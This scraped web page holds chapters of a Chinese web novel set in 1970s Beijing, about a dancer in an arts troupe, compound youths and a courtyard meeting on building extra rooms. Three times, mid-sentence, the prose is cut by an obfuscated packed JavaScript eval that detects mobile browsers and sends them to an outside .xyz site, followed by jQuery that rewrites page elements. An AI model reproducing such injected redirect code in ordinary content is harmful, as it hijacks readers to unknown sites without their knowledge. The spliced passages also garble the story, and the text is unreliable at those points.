没办法,关百钺只得继续做“顽主”,尴尬地混迹在高斌身后,试图找到“转变”的契机。 魏雪见表哥又在发呆,抬脚轻轻踢了下关百钺的小腿,嘿一声笑了出来:“哥,你是不是看中那个章清云了?有眼光,我看了,她虽然是B角,可却是文工团里最漂亮的。身边还没有杜玉玲这种白眼狼,哥,你要是追她,我帮你啊。” 什么乱七八糟的,关百钺警告魏雪:“老实点儿!”十六岁的小女娃,不读书,整天出来瞎混。因着两个哥哥都去当兵,家里就剩她一个,下乡也轮不到她,整日无所事事的,可不就成了别人嘴里的“小圈子”嘛。原身大姐要忙结婚的事儿,就剩下他有时间看着。 “老古板。”魏雪撇撇嘴,见高斌挥手要走了,巴巴跟上去。 关百钺:“......”你要是喜欢高斌,就去追,要是不喜欢,整天跟在高斌屁股后边儿,算怎么回事儿!真是搞不懂这些小屁孩儿整天在想什么。 一群人呼啦啦离开,不用说,准是去国营饭店吃饭。都是大院子弟,不差钱,可不是想干啥就干啥。 另一边儿,去食堂打完饭的章清云,津津有味儿地啃着鸡肉。 “清云,好吃吧?”程紫鹃咽了咽口水,眼巴巴问道。 章清云将所有肉一股脑儿放进嘴里,很自然地点点头:“好吃。” 程紫鹃哀嚎一声,可怜兮兮的:“清云,你不爱我了......” 章清云耸耸肩,不置可否。 程紫鹃无法,只得低声对着青菜,一遍遍催眠:“这是鸡腿儿,鸡腿儿,我在吃鸡腿儿,香喷喷的大鸡腿儿。”说完闭了闭眼,还运了运气,这才张嘴将青菜一股脑儿送进口里,大嚼起来,凶神恶煞的。 可真是位活宝,章清云从饭盒里拿出一个鸡蛋,递过去道:“好了,吃个鸡蛋吧,我爸今早卤的茶叶蛋,可好吃了。” 程紫鹃欢呼一声:“清云,我就知道你最好了。么么,爱死你了。” 正闹着呢,旁边的杜玉玲欢呼一声:“吃栗子蛋糕了,快!可人不吃,咱们就别客气了。” 原来蓝可人和杜玉玲闹脾气,刚到食堂,就不高兴地道:“玉玲,你怎么能接高斌的蛋糕呢。我已经说过了,我不喜欢另一个人,是不会接受别人的礼物的。” 杜玉玲小心地将蛋糕放在桌子上,赔笑道:“蛋糕又没错!再说,人家特意买给你的,不要不好吧?来嘛,看看什么样儿的。听说苏联餐厅的栗子蛋糕最好了,不知道是不是在那里买的。” 蓝可人还是气呼呼的,杜玉玲可不在乎,她打开盒子,里面静静躺着一个六寸的奶油栗子蛋糕,蛋糕四周还有裱花,杜玉玲忍不住欢呼一声:“可真好看,这要不少钱吧?” 蓝可人边掰着馒头吃,边道:“知道贵你还收!我可不吃。” 谁知杜玉玲欢呼一声:“真的?你可别后悔。” 说着起身,招呼众人道:“吃栗子蛋糕了,快!可人不吃,咱们就别客气了。一人一块儿啊,别抢。” 章清云还真想吃了,不等她起身,程紫鹃风一样跑过去,大喊道:“给我两块儿,我要两块!” 杜玉玲手一顿,看着程紫鹃道:“你不是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180828|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 减重吗?吃什么?” 程紫鹃脖子一梗:“我给清云要的,我的那块儿给清云,不行吗?快,又不是你的,是人家给可人的,你小气什么。” 杜玉玲哼一声,切了大大的两块儿,递过去道:“吃吧,都重三斤才好呢。” “要你管。”程紫鹃才不觉得两大块儿是负担呢,高高兴兴地跑过来,邀功道,“清云你快看,我给你要了两大块儿呢,快吃。” 章清云揉了揉小丫头的头,接过来一块儿,将另一块儿收起来,道:“带回家给小远吃,这小子今儿期末考试。” 程紫鹃哦了一声,拿过章清云的饭盒,笑眯眯道:“我给你洗饭盒去,呆会儿把蛋糕收进饭盒里。”说着蹦蹦跳跳去一旁洗饭盒。 章清云摇摇头,吃起蛋糕来。许是这个年代的东西更纯吧,章清云只觉得奶油吃起来格外香甜,没有上辈子的香精味儿。 吃过午饭,稍事休息,就开始了下午的训练。许是受到上午的影响,蓝可人下午的几组动作频频出错,被周文芳狠狠训了两回,才改正过来。 中途休息的时候,周文芳找蓝可人单独谈话,不知说了什么,再次训练时,周文芳让章清云和蓝可人一起训练,她是这么说的:“可人的情绪容易受外界影响,为了保证七一献礼的正常举行,清云你重点训练下,可人要是调整不过来,你上。” 话音刚落,训练室顿时安静下来。半晌,杜玉玲不服气地道:“教练,章清云才练了两年,哪儿有资格挑大梁!” 周文芳板起脸,呵斥道:“上周选角的时候怎么不说?章清云可是正经通过选拔的琼花B角,怎么,这时候才不服?” 她从左到右的巡视一圈儿,厉声问:“还有谁不服?站出来。” 七一的献礼剧目是经典的芭蕾舞剧《红色娘子军》,讲的是从恶霸南霸天府里逃出来的丫鬟琼花,一步步蜕变成革命女战士的故事,剧中的女主角就叫琼花。 见没人说话,周文芳定定看着杜玉玲。杜玉玲跺了跺脚,高声道:“我就是不服!我跳了五年,怎么也能做琼花的B角了吧?可人跳得比我好,我知道,可我不信我比不过章清云!” 周文芳点着杜玉玲:“上周选拔的时候,没让你跳琼花吗?你跳得就是不如章清云,团里的领导都发话了的,怎么,瞧着如今领导没来,不服我的训练是吧?不服你就去找领导,找能做主的人!反正我周文芳在一天,都是那句话,你跳的不行,不能演琼花!” 杜玉玲没想到教练这么不给她面子,一时上不去下不来的,正难堪呢,蓝可人适时开口了:“教练,玉玲是气糊涂了,您别跟她一般见识。” 说着拽了下杜玉玲的胳膊,低声道:“别犟着了,快跟教练道歉。还得训练呢,七一那天可是有很多人来看的。” 杜玉玲咬了咬牙,想到那天能见到领导,狠了狠心,乖乖鞠躬道:“教练,对不起,我不该质疑您和领导的决定。我错了,我深刻检讨,请您原谅我。” 章清云挑挑眉,没想到杜玉玲倒是个能屈能伸的,看来还是小看她了。 5. 该出手时就出手 周文芳也不是要赶杜玉玲走,见她服软了,也就顺着台阶下来:“好了,只此一次,下不为例。回去训练吧,清云,来,跟可人一起训练。” 章清云哎了一声,乖乖过去训练。整个下午,章清云都在重复一个又一个动作,抬腿,抬多高,用多大的力气,胳膊举到哪里,什么角度,都有一个标准。章清云上辈子是拳击运动员,其他优势可能没有,体力是一等一的,就算是魂穿,也好运地穿到了一名力气大的美女身上,跟上辈子不遑多让。等下班大家累成狗,她还精力充沛呢。 周文芳像是发现了新大陆,一整个下午,嘴角就没下来过。这么好的体力,一旦接替蓝可人成为台柱子,就意味着很少能用到B角,也就意味着一旦练好了,哪怕是一整场舞剧,都能一个人完成。对B角可能不好,可对文工团,却是个天大的好消息。 急着去团里汇报情况,一到下班时间,周文芳就宣告解散。 出了一身的汗,大家基本上都是先冲个澡,再回家。章清云自然也是如此,今儿团里刚发了香皂,章清云干脆连头发一起洗了。 原身是黑长直,一头乌发又浓又密,十分惹眼,章清云不是一次想剪了算了,想想原身对跳舞的执念,头发也是舞剧的一部分,那也属于执念之一?她一时没动,是以从文工团出来时,头发还湿着。 出门,见有小伙子探头探脑,章清云没当回事。这种堵漂亮姑娘的小伙子,哪辈子都不缺。完全没意识到,这是堵她的。 刚跨上自行车,离文工团没五十米呢,后面就追上来四个小伙子,又是打车铃,又是搭话的。 “姑娘,三叉树胡同怎么走?” “姑娘,你是不是跳芭蕾舞的?我好像在台上见过你。” “姑娘,别走啊,我们不是坏人,就是想跟你说个话,走这么快干什么?姑娘......” 章清云明白了,感情是冲着原身来的。这种人就不能搭理,越说越黏得紧,章清云埋头嗖嗖嗖往前骑,正准备拐弯儿呢,被后面的小伙子一把超过。 呲溜一声,自行车斜挡在前,小伙子一手扶着自行车车把,一手拉住章清云的车头,单脚撑着地面,痞痞地道:“王晓茹,走这么急做什么,找你有事儿......” 说着哎呦一声,特真诚地道:“你看我,老眼昏花的,认错人了。实在是不好意思,姑娘,这样,为了赔礼道歉,我请你去苏联餐厅吃一顿,怎么样,够意思吧?走,别替我省钱,姑娘你叫什么,咱们这也算认识了,是吧。我叫吴军......” 章清云白了这人一眼,以前只看过《血色浪漫》里这么跟人搭讪的,没想到如今的人都这样啊。都是闲的,她啧啧两声,还想讽刺两句,被后面魏雪的声音打断。 “吴军,放开她!” 魏雪满头大汗地骑车过来,喊道:“她是我哥看上的人,放开。” 被叫做吴军的小伙子哎呦了一声,直起身,望向魏雪身后的关百钺,调侃道:“关哥,您这是动凡心了?” 他啧啧两声:“安娜姐可是追了您两年,您都爱答不理的,怎么着呀,看上这位了,要跟我抢?” 魏雪哼一声:“安娜姐的事儿早了了,如今人家和沈哥好着呢,你少在这儿挑拨。我哥喜欢谁不喜欢谁,要你管。你......” 关百钺无奈开口:“魏雪,闭嘴。” 他将车子支好,边走,边从怀里掏出一盒烟,十分不“顽主”地略微弯腰,一一递过去,搂着吴军的半拉子肩膀,道:“小军,给哥一个面子,算了。小姑娘一个人上下班的,不容易,都是一个大院儿的,以后有事儿找哥,哥能办就给你办了,办不了哥也不推脱,肯定给你出主意,找谁不找谁的,都跟你说清楚,保管不会撂下不管,怎么样?” 吴军将烟别在脑后,眼珠子滴溜溜转。他家和关家都是科研大院的,吴家是做后勤的,看着风光,可科研大院嘛,大佬总是那些搞科研的,后勤顶多是服务性人员。而关家父母呢,正好都是科研人员,还是项目组的核心,常年不在家的。 不过关家姐弟俩可不是没人管的野孩子。 关家老爷子和老太太可是烈士!据说当年转移阵地,为了保护同志,胜利前一年,被小R本杀死了。部队大院多少人都卖关家的面子,之后关父关母上大学做科研,常年不着家,这两姐弟可是在大家眼皮子底下长大的,谁见了不管饭?关百钺说有事儿找他,那是真能办下事儿的。 吴军瞄了眼章清云,是真漂亮,可再漂亮,也没有前程重要。他拍了拍关百钺的肩膀,笑道:“关哥看上的女人,放心,我今儿就传下话去,没人敢再拍她,放心!” 章清云翻个白眼儿,以为她听不懂怎么的。拍婆子拍婆子,这是拿她当什么了? 等吴军一行人离开,魏雪搭话道:“喂,章清云,听到没?你以后就是我哥的圈子了,你......” 章清云瞥了眼魏雪,支好自行车,状似不经意的拿起墙角的两块砖头,叠放在一起。直起身时,一手拿着两块转头,一手高高举起,瞧着两人微微一笑。只听啪嗒一声,两块砖头从中间齐刷刷断开,章清云笑眯眯地又看了眼两人,眨眨眼,随手扔下只剩一半儿的转头,哼一声,转身,骑着车子潇洒离开。 开玩笑,原身长成这样,父母也放心让她一个人上下班,为啥的?还不是因为陈静教过原身功夫! 陈静可是警察,寻常的擒拿手都是会的,原身又是个力气大的,别看长得柔弱,就刚吴军那样儿的,三个她都能放倒! 魏雪目瞪口呆,一脸的不可置信,兴冲冲跳下车,小跑过去检查裂开的砖头。反复确认是真的砖头无疑,这才同情地望向关百钺:“哥,你这圈子好像跟一般人不太一样啊。” 说着起身,拍拍关百钺的胳膊:“哥,你受苦了。” 关百钺却呵呵呵地笑了起来。他想起飞机失事时,头等舱的另一名乘客,据秘书说是世界女子拳击冠军。希望她也没死吧,也能活得如刚才的女子一般,肆意洒脱。 还深沉着呢,不远处的高斌喊人了:“百钺,发什么呆呢,走了。苏赖子那人找到了,丫敢敲你闷棍,今儿哥带人给你报仇去,走!” 关百钺:“......”这个时代果然不适合他,他喜静不喜动,他是个君子,这种动不动就敲人闷棍打群架的行为,不好。真的,不止不好,几年后,这都不合法! “哥,走了。” 没人理会关百钺的碎碎念,表妹魏雪呵呵呵的笑,眼睛里都是光,关百钺反应过来,厉声道:“小雪,没你的事儿,回去。我跟斌哥去一趟就行了。” 魏雪噘着嘴,十分的不高兴:“哥,你是给我出头才被苏赖子打了的,怎么不关我的事儿了?!我要去,要去嘛~” 关百钺无动于衷,板着脸道:“听不听哥的话?要再这么着,我可跟姑姑说了,你......” 魏雪哼一声,看了眼走过来的高斌一行人,跺了跺脚,瞪了关百钺一眼,气哼哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180829|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地扭转车头,低声嘀咕:“走就走,告状精!” 看着扭脸儿走了的魏雪,高斌呵了一声,搂过关百钺的肩膀,笑道:“你也太护着这丫头了,咱们这么多人呢,能怎么着她呀。你可真是......” 关百钺不欲在这上面多纠缠,边走边道:“刀剑无眼嘛,如今多少围观打架的,被飞来的板砖砸了的?小雪又不是铜墙铁壁,可不能冒这个险。对了,斌哥,你怎么找到苏赖子的?丫不是整天找不见人。” 高斌哈哈哈的笑,十分的爽朗:“这你就别问了,跟哥走就是了......” 关百钺点点头,看一旁低着头不言语的高武,嘱咐道:“小武,玩儿去吧,今儿的事儿用不上你,去跟小雪......” 高斌一脸的不高兴:“别管他,整天拉着个脸,也不知道谁欠他的,要不是我弟,我都不想带他。” 关百钺连忙打圆场:“斌哥,你可真是刀子嘴豆腐心,小武不是身体不好嘛,咱们去打架,又不是吃饭喝酒,就别带着小武了。” 高斌摆摆手,不接这话,关百钺也就不再说了。一旁的高武绷着脸,眼神儿有几分不服,跟高斌五分相似的脸,因为瘦弱矮小一些,倒是有了几分斯文感。 这边浩浩汤汤去报仇呢,那头儿章清云摆脱了突然黏上来的兄妹俩,正在小巷子里穿梭。根据那日的记忆,原身去“小卖部”买东西,属于临时起意,又正值下班的时间,人多着呢,坏人还真不好找。 会是跟着原身,想拍婆子的顽主吗? 可能性不大。原身是文工团的,那一片可以说是被部队大院和市政大院围起来的,自然也被这两大院的顽主罩着,寻常大杂院的混混们根本进不去。 至于说出了文工团再跟踪,可能性也不大。原主是好看,可还不是台柱子,拍上也不能给混混们“抬身价”,不至于这么死缠烂打。 不是说这些人是“好人”,而是一来,大院顽主们多少知道些政策,“过线”的事不能做,否则神仙来了都难救。大院子弟们所谓的混,无非是要争个面子,为了女人做下奸杀这种事儿的,还真不太可能。 二来,大杂院的混混嘛,前面说了,原身不能给他们“抬身价”,混混们不至于搭上自己的前程,做下这种事儿。不是说完全排除,但从概率上来说,可能性不大。 那就是“小卖部”大杂院附近的住户了,亦或是住户的亲戚,总归脱不了那些人。“小卖部”大杂院是类似于城市贫民窟的存在,地段是真好,百货商店后面的巷子。可惜鱼龙混杂,寻常人都不去的。原身也不知中了什么邪,许是太高兴,许是仗着会些功夫,竟一个人去了那里!被敲了闷棍,有她自身不谨慎的原因,但更多的,还是那坏人的问题。 章清云小心地穿过水洼。前几日下雨,这条巷子窄,被两边的院墙挡着,终日不见眼光,外面尘土飞扬的,这里竟还没干。回忆着那坏人的身高、体重、出手的力道,以及逃跑的速度等,章清云在脑海里,构建起这人的基本特征。 身高在一米七三到一米七五之间,体重一百二十斤上下,成年男性,或者说,具有成年男性的速度和力道,那年龄最低在十六七岁,最大不超过二十五。 还有最重要的一点,这人下半身受伤了,短时间内都好不了的那种。且受伤当日,肯定疼得死去活来。她的力道她清楚,全力出击之下,这人得不了好。男人嘛,那种地方受了伤,怎么可能不去看大夫,她就盯着这一片的黑诊所,不信找不出他来! 6. 开会讨论盖房事 这个时代的黑诊所嘛,大多以中医为主,且八成是半吊子水平,不是正经的中医,靠几个太平方混日子的那种。正经的大拿都下放了,这能偷摸开下来的,一是胆子小,开些太平方治不好人,也治不死人,安稳。二嘛,够小心,不是熟人不接待,这才能逃过清查。 章清云按照记忆朝一家走去,冷不丁瞧见中午的高斌一伙人,二十来个吧,浩浩荡荡朝一条巷子走去。她顿了下,等人进去了一会儿,才猫着腰,小心地推着自行车,坠在后面。 高斌一伙人完全不知道后面还跟着人,此时和苏赖子一伙儿在巷子里对峙呢。高斌斜斜站着,抖着腿儿,一只手上还拿着砖头,上上下下地甩着玩儿,嘴上不忘放狠话:“我说苏赖子,你们一伙人欺负百钺一个,还敲百钺的板砖,这就不讲规矩了吧?怎么着,是按规矩,自己给自己头上拍一板砖,了了这事儿,还是哥儿几个,一人给你一板砖,我们来了呀?是个爷们儿就说句话,别怂!” 苏赖子在这里干嘛呢,他刚正调侃去看“病”的小五子呢。也不知这小子怎么了,嗷嗷了一晚上,听说第二日那里就肿了老高,天不亮就用床单围上,去老海那里看病了。路上遇见几个去“半掩门”回来的兄弟,可不就传开了嘛。苏赖子是来看笑话的,谁知道这么寸,遇上高斌一伙儿了。 被人这么挤兑,苏赖子能怂吗?那必然不能啊,满脸的不在乎,说:“高斌啊,有种咱们就单挑,别整一群人欺负我们两个!怎么,就兴你们这些大院儿里出来的,仗着人多欺负我们人少,我们堵一个就是坏规矩,是吧?那有种单挑啊,再不然咱们点齐了人马,城西水库见,敢不敢?选一个,不选不是爷们!” 高斌可不上当,他呵呵笑了两声:“说这么多,还不是想逃?今儿我们既然找了来,就不会空手回去!百钺是我哥儿们,是我们部队大院和科研大院一起护着的人,你将人打了,这事儿可不能这么算了......” 章清云在不远处听着这群人无意义的对话,眼神儿却定在苏赖子旁边的年轻人身上。像,太像了,目测一七五的身高,年龄应该在二十二左右,寸头,一百二十斤上下,不胖不瘦,胳膊上还有小肌肉。关键是这人没病没灾的,脸色却苍白,额头大滴大滴的冒汗,显然身上有什么地方痛。 找见了人,章清云也不停留,转身就走。这年头,小年轻茬架,太常见了,她可没兴趣围观。荷尔蒙分泌旺盛的家伙,没工作没书读的,不打架干什么呢。原身可是个乖乖女,下班就回家的那种,已经耽误了半个小时,可得赶紧回家。 至于身后这些人怎么了这事儿,她可管不着。高斌能找来,说明这嫌疑人就住在附近,她以后盯着点儿,找机会报了仇就是。 出了巷子,章清云狠命蹬着自行车,就快镫出火星子了,终于到了三叉树胡同口。小弟章清远早已放学,正蹲在胡同口,和小伙伴们玩弹珠呢。见姐姐回来了,他将弹珠一收,高喊:“不玩了不玩儿了,我要跟我姐回家了。” 嗯,这也是个姐控。 章清云摸摸小家伙的头,锁好自行车,将挎包放到正堂,示意章清远关门。章清远是个机灵的,一看就知道姐姐给他带好吃的了,小跑着关上门,回头见竟是奶油蛋糕,高兴地直蹦。还知道不能嚷嚷,捂着嘴,眼睛眯成了一条缝。 “姐,真好吃。”章清远吃成个小花猫,摇头晃脑的,幸福极了。 只是蛋糕还剩一半儿呢,外面响起另一道男声:“小哥,你吃什么好吃的了?小哥,我也要吃。” 章清远噘噘嘴,又嗷呜吃了一大口,见就剩五分之一了,这才嘿嘿笑两声,一抹嘴儿,起身去开门,道:“嘘,小点儿声,要是被人听到了,你可就吃不成了。” 章清宙还是个六岁的小娃娃,没上小学呢,闻言赶忙伸出小胖爪,紧紧捂住嘴,还嗯嗯嗯地说话呢:“不说,我不说。” 倒腾着小胖腿儿钻进屋里,见到章清云笑眯眯的,偷感十足的喊:“大姐。” 虽然邵华有小心思,但谁又没有呢,章清云可不会把气撒在一个六岁的孩子身上,她揉了揉小家伙的头,笑着道:“喏,姐姐带的蛋糕,吃吧。就剩这么多了,吃完了可别哭鼻子。” “才不会。”章清宙放下小爪子,蹭蹭蹭爬上椅子,吭哧吭哧吃起来,特别的开心。 让清远看着点儿,章清云起身去灶房,准备做晚饭。家里一般她下班最早,章砚臻是七级电工,有时候要加班抢修电路,而陈静是警察,下班就没有个准点儿的时候。自十二岁起,章清云就自己准备晚饭。 家里的菜,一般是一早章砚臻排队买回来,然后章砚臻负责做早饭。中午上班的吃食堂,章清远这个小学生,就去钢铁厂食堂凑合一顿。而晚饭,一般是章清云做。厂里食堂晚饭花样少,要么白菜要么萝卜的,一般有条件的人家都会自己准备花样饭。 灶房里,章清云看着豆芽、红薯和几块儿土豆,想了想,准备做红薯稀饭,再炒个豆芽和土豆丝儿,齐活儿。 饭菜做好了,姐弟俩正吃着呢,章砚臻和陈静一起回来了,章砚臻笑着对闺女道:“路上遇见你妈,我俩就一起回来了。辛苦闺女了,今儿又做了什么好吃的。” 说着抻头瞧,竖起大拇指夸:“我闺女就是能干,土豆丝都能切这么细,太厉害了,比隔壁的苗师傅都厉害!” 虽然知道有些夸张,章清云还是忍不住翘起嘴角。一家人围坐在餐桌旁,章砚臻直接道:“等会儿吃完饭,咱们大杂院开个会,商量下建房的事儿。” 见媳妇儿和孩子看过来,章砚臻分外得意:“我能弄来盖房的砖头、碎石子儿和泥沙,就差木头和黏土了,大家群策群力,总能弄全的,到时候咱们在院儿里再砌几间屋子,大哥家的事儿就解决了。” 陈静了然:“三合土?” 章砚臻点点头:“是啊,水泥这东西弄不来,只能用土办法。”这年头,就是物资部门,也不能把水泥往家搬的,好在石子儿这些东西,下面的村儿里就能弄来,花些钱和人情的事儿,不算难办。 章清云真是惊讶极了,没想到章砚臻这么能干!在这个缺物资的年代,能弄来这么些东西,可不是一般的能干,她低声问:“爸,你从哪儿弄的?不会出啥事儿吧?”这可是个鼓励举报的年代! 章砚臻含混道:“总有村办企业的,计划的再严密,企业总会留一些计划外物资,要么送人情,要么当做职工福利发下去。放心吧,爸办事儿不会出错的。” 章清云点了点头,陈静赶紧问:“是耳房之间盖严实,不留空隙?” 章砚臻点头。 如今他们住的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180830|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂院,跟京城的四合院还是有些差别的。最大的差别,就是院子的大门是开在正中的,对着影壁,绕过去,对面就是正房,左右是东西厢房,大门两旁,则是两间倒座房。 本来正房、东西厢房和东西倒座房之间,是留有空隙的,如今都盖起来,如何分配肯定要商量商量,还有盖房的木料、泥沙等都要准备,肯定要开会讨论。 章砚臻很快地吃完饭,陈静挥挥手:“你去通知大家吧,今儿我洗碗。” “好嘞,媳妇儿你真好!” 章砚臻笑着起身,章清云和章清远正准备收拾桌子,陈静道:“清云,去休息吧,让你弟弟帮忙就行了。你现在还是个演员,手可得保养。” 章清远挠挠头,嘿嘿嘿的笑:“姐,你别管了,我和妈洗碗。” 章清云笑笑,去灶房搬出四个小马扎,一会儿开会的时候正好用。八点,大杂院的五户人家陆续吃完饭,搬着凳子围坐在水槽前。见司南来了,章清云忙把上午程紫鹃给的两颗大白兔递过去,低声道:“知道你爱吃这个,吃吧。” 司南是个圆脸的可爱姑娘,闻言笑眯眯的:“我可不会跟你客气。”说着剥了一颗糖,将另一颗顺手给了弟弟司北。 章清云低声问:“下乡的事儿怎么样了?分到哪儿了?” 司南用气声道:“放心,我妈去找了领导,已经确定是三河大队了,离市区不远,周末骑车就回来了。” 章清云点点头,这才替司南高兴。原身老家就在三河大队,如今爷奶、太爷太奶还在那儿住着呢,司南过去,肯定不会被欺负。 如今每年大量的知识青年下乡,不想点儿办法,还真能给你分到大西北吃沙子去。好在司母是个疼闺女的,舍得下本钱。 两人说着闲话,人越聚越多,见差不多齐了,章砚臻起身,开口道:“今儿召集大家,是想说说盖房的事儿。过几天,会送来一批旧砖头、碎石子儿和泥沙。放心,大家也知道,我家就是下面三河大队的,我大哥家的情况大家也看到了,孩子多,大了一个个结婚,都需要房子。我和大哥呢,两年前就托大队长和支书帮着攒这些东西了。如今这不是清洋结婚,用上了嘛。” 他摆摆手,一副不想多说的样子,做够了戏,这才继续道:“如今咱们这个院子,正房耳房和东西厢房之间、东西厢房和倒座房之间都有一部分空隙,是可以加盖房间的。今儿就是跟大家征求下意见,看是否同意加盖?” 人群里响起嗡嗡声。如今谁家不缺房子?因为房子,子女结不成婚,家不成家,亲人变仇人的,比比皆是。章砚臻能弄来这么些物资,那还有什么说的。住西厢房的袁正义抢先开口:“我同意盖房!是用三合土吧,那就还缺木料和黏土。大家一起想想办法,大头儿都有了,总不能不盖,那就太可惜了!” “就是。”袁正义媳妇儿何玲点头附和,语气里不乏骄傲,有意无意地瞥了苗家一眼,“我家三个儿子呢,将来孙子肯定不少,房子自然是越多越好,我家举双手赞成。” 章砚廷当然也是双手赞成了,他心里清楚,他可没拜托大队长办这事儿,都是二弟弄来的,为了他家老二结婚的,那他能说什么呢,盖啊。 邵华也高兴,能花钱不欠人情解决的事儿,还是花钱好。 人情可不是那么好欠的。 7. 关百钺前世今生 只是有两家,倒是有些犹豫。 哪两家呢? 一是住在西倒座房的苗家。他家什么问题呢?他家没儿子!只三个闺女,住一间就够了,夫妻俩住一间,倒不是很希望盖房。苗家的当务之急是生儿子,苗大山和苗盼儿的工资,一多半儿都要拿去买各种生子秘方,要是盖房,钱可能不够。 另一家呢,就是住在东倒座房的司家。司家当家人是司机,两年前出车时,死于车祸。厂子让司家主母董巧花接替了工作,在后勤负责打扫个卫生什么的。家里就司南和司北两个孩子,司南过几个月就下乡了,弟弟司北只十四岁,离结婚还早,就算结婚,也有房子住。因此盖房不盖房的,对司家意义不大。 谁知司南抢先表态:“我家也同意盖房。” 董巧花瞪了闺女一眼,谁知司南低声道:“妈,咱家要是不要房间,不出钱好了,到时候盖出来的都归清云家不就行了。表个态的事儿,别担心。” 董巧花一想也是这么回事儿,便没吭声。司南的声音不高不低,一旁的苗大山和媳妇儿牛桂兰自然也听到了,不过牛桂兰眼珠子转了转,开口道:“那要是都建成房子,我家的西屋可就见不着太阳了!这样,我家不要房子,但是袁家要是建房,得出钱给我家改窗户。在西墙开个窗,这样北墙上的窗户就可以封上,彼此也不干扰。” 章砚臻看向袁正义,袁正义一脸的憨厚,正要点头同意,谁知媳妇儿何玲厉声道:“凭啥要我家出钱?改个窗户罢了,旧窗户拆一拆改一改,还要出什么钱了?” 牛桂兰掐腰:“话不是这么说的。旧窗户是能改,但二手的能跟原装的比吗?你看那自行车,别管多破,只要没拆过,那就还能用。可你要是拆一下子,那完了,全身上下除了车铃不响,其他地方都响!反正要在我家西屋前加盖房间,就得出钱给我家改窗户,不然我家可不同意。” 何玲还要顶回去,被袁正义一把拉住,喝道:“妇道人家,懂什么!” 说完,冲着苗大山点点头,道:“改窗户嘛,小事儿。不过西墙外可是小巷子,苗大哥不介意吧?” “老头子!”何玲低声叫道,袁正义瞪了她一眼,何玲缩了缩脖子,不说话了。 苗大山摆摆手:“有窗帘呢,怕啥?房间里可不能不见太阳,没事儿。” 章砚臻适时开口:“袁家和苗家窗户的事儿,可以再商量。既然大家都同意,那咱们进行下一项议题,就是看看谁家能弄到木料和黏土。盖房子缺不了这两样,大家想想办法。放心,肯定出钱的。” 袁正义轻咳一声,见大家都望过来,这才开口道:“我家就在附近的青阳大队,小玲,明儿去家里问问,谁家有盖房子的木料,先借来。” 何玲哎一声,十分的得意。 章砚臻点点头,又说起泥沙的事儿。苗大山矜持地开口:“我老家在向阳大队,青江正好从大队里穿过,黏土都是现成的,咱们哪天推着板车去拉就成。” 牛桂兰强调道:“没有向阳大队的人领着,外人可不能去拉!也就是我家大山,是向阳大队的人物,这才能领着大家去的。” 众人捧场地恭维了几句。 “大山就是敞亮,是条汉子。” “可不是,咱大杂院的这个!” 苗大山哈哈哈的笑,众人的恭维让他十分受用。 苗盼儿垂下眼,什么向阳大队的人物,每次回老家,奶奶和小叔都对她们爱答不理的,话里话外都是瞧不起,偏她爸看不清,每次别人说两句好话,就以为自己有多大本事,真是可笑! 开会最后的结果,是五家人都同意建房。章砚廷家人多,要的房子也最多,东西厢房和主院之间加盖的房子,他家都要了。而厢房和倒座房之间加盖的房间,则分属于住厢房的袁家和章砚臻家。 至于改窗户的事儿,算钱的时候再统一核算。基本上是章砚廷家出一半儿的钱,袁正义家出四分之一,章砚臻家出剩下的四分之一。 会议圆满结束,而另一边儿的科研大院儿里,关盈钺正审关百钺呢,她掐着腰,气哼哼地说:“被苏赖子敲板砖是什么时候的事儿?好你个关百钺,现在什么事儿都瞒着我了,是吧?” 她嘤嘤嘤的假哭:“你是不是觉得姐姐要嫁人了,就不是关家的人了,就管不了你了?要是这么着,我就不嫁了,我做一辈子老姑娘,管你一辈子!” 关百钺脸上带着些青紫,没办法,打群架嘛,免不了的。院子里的花架下有一摇椅,他正躺上面优哉游哉看报纸呢,谁知大姐就这么风风火火地进来,劈手夺了报纸,一副兴师问罪的架势。 多少年没被人这么管过了,关百钺还挺新鲜的,被夺了报纸也不恼,耐着性子解释道:“姐,我怎么会这么想呢。是真没受什么伤,这才没说的。真的,你看,我身上除了今儿打架挂了些彩,真没事儿!” 说着他起身,又是撸袖子又是转圈儿的:“姐,看到了吧,我真没事儿。你和援军哥忙结婚的事儿吧,我都二十了,自己的事儿能自己解决,你......” 师援军捅了捅小舅子的胳膊,这孩子真是,这种话是能说的嘛,你五岁起就跟着姐姐,盈钺虽只比你大四岁,可说是把你当儿子养也不为过。做人儿子的,能这么说话?!真是不懂事儿。 果然,关盈钺听了这话,是真伤心了,眼泪差点儿下来:“你自己的事儿?好啊,关百钺,你这是真拿姐当外人了......” 